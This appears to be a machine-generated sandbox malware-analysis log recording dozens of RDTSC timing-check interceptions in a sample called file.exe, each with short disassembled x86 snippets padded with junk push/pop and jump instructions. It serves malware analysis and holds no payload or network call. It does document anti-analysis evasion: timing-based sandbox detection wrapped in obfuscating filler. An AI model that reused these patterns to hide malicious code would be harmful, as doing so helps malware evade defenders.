Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF390D second address: AF3913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3AAF second address: AF3AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3C66 second address: AF3CA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B30D7C3A5h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jng 00007F6B30D7C396h 0x00000010 jmp 00007F6B30D7C3A3h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F6B30D7C39Bh 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6864 second address: AF6875 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6B312295E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6875 second address: AF687B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF687B second address: AF6880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9251 second address: AF9276 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007F6B30D7C396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007F6B30D7C396h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jp 00007F6B30D7C396h 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF96A2 second address: AF96A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF96A6 second address: AF96BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B30D7C3A1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF96BD second address: AF96C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F6B312295E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF96C7 second address: AF96E2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007F6B30D7C39Dh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF45A second address: AFF460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF460 second address: AFF469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF469 second address: AFF46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF46D second address: AFF48A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6B30D7C396h 0x00000008 jmp 00007F6B30D7C3A3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE7B9 second address: AFE7DE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6B312295E6h 0x00000008 jmp 00007F6B312295EAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop ecx 0x00000014 jg 00007F6B312295E8h 0x0000001a push esi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE7DE second address: AFE7F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEA62 second address: AFEA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6B312295E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEA6D second address: AFEA9E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B30D7C3A9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B30D7C3A1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEA9E second address: AFEAA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEAA7 second address: AFEAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE67 second address: AFEE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6B312295EAh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE7A second address: AFEE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE80 second address: AFEE84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01B94 second address: B01BA8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jns 00007F6B30D7C396h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01BA8 second address: B01BAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B095A0 second address: B095A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B095A6 second address: B095AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07DB0 second address: B07DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07DB6 second address: B07DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B080C7 second address: B080D5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6B30D7C396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B080D5 second address: B080D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08279 second address: B0827D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0827D second address: B0829B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6B312295EDh 0x0000000b popad 0x0000000c jne 00007F6B3122961Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0829B second address: B082A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085E6 second address: B085EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085EA second address: B085F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085F0 second address: B085FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085FA second address: B08604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6B30D7C396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08604 second address: B08608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB494 second address: AAB4C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b xor dword ptr [ebp+1244DEB9h], edi 0x00000011 mov dword ptr [ebp+122D1E38h], esi 0x00000017 push 00000004h 0x00000019 pushad 0x0000001a mov dword ptr [ebp+122D1E31h], edi 0x00000020 sbb ecx, 3C248357h 0x00000026 popad 0x00000027 mov dword ptr [ebp+122D2816h], esi 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB4C7 second address: AAB4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB4CD second address: AAB4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B092FB second address: B092FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B092FF second address: B09305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F7A5 second address: B0F7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FCD7 second address: B0FCDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FCDB second address: B0FCDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FCDF second address: B0FCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FCE9 second address: B0FCFB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6B312295E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FCFB second address: B0FD07 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10DBE second address: B10DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10DC4 second address: B10DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B30D7C39Dh 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10DD9 second address: B10DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B312295F6h 0x00000009 pop ecx 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10DFA second address: B10DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1137D second address: B113B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B312295F9h 0x00000009 jmp 00007F6B312295F5h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B113B0 second address: B113C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B30D7C39Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B113C4 second address: B113C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B113C8 second address: B113D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F6B30D7C3B5h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16201 second address: B16205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1682E second address: B1683B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1683B second address: B16845 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6B312295E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16845 second address: B1684E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21FD7 second address: B21FE7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6B312295E6h 0x00000008 jne 00007F6B312295E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B226C0 second address: B226DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F6B30D7C3A2h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2356B second address: B2356F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2356F second address: B23582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F6B30D7C396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21B5D second address: B21B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6B312295F4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21B76 second address: B21B97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jc 00007F6B30D7C396h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F6B30D7C3A2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21B97 second address: B21BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6B312295E6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21BAB second address: B21BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6B30D7C396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29EBA second address: B29EBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29EBE second address: B29EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29EC4 second address: B29ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29ECA second address: B29EE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B30D7C3A8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29EE9 second address: B29EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F6B312295E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29EFA second address: B29F0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6B30D7C39Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A0CE second address: B2A101 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6B312295F2h 0x00000010 jl 00007F6B312295E8h 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39F88 second address: B39F8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39F8E second address: B39F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39F99 second address: B39F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A0D1 second address: B3A0FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6B312295EDh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F6B312295EBh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A0FE second address: B3A102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A102 second address: B3A106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A106 second address: B3A135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F6B30D7C3B9h 0x0000000c jmp 00007F6B30D7C3A5h 0x00000011 jmp 00007F6B30D7C39Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CF9C second address: B3CFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6B312295EBh 0x0000000a push ecx 0x0000000b jmp 00007F6B312295F1h 0x00000010 jmp 00007F6B312295F8h 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6B312295F4h 0x0000001e jmp 00007F6B312295EBh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43284 second address: B4329D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b jl 00007F6B30D7C396h 0x00000011 jc 00007F6B30D7C396h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E89F second address: B4E8A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E8A5 second address: B4E8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E6FA second address: B4E706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E706 second address: B4E70C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54593 second address: B545BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jl 00007F6B312295E6h 0x0000000c jmp 00007F6B312295EEh 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6B312295EFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B545BF second address: B545E5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6B30D7C396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 push esi 0x00000011 jng 00007F6B30D7C396h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007F6B30D7C396h 0x00000020 jo 00007F6B30D7C396h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B545E5 second address: B545F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295EBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54887 second address: B5488B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54B4B second address: B54B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54CB7 second address: B54CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54CBB second address: B54CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
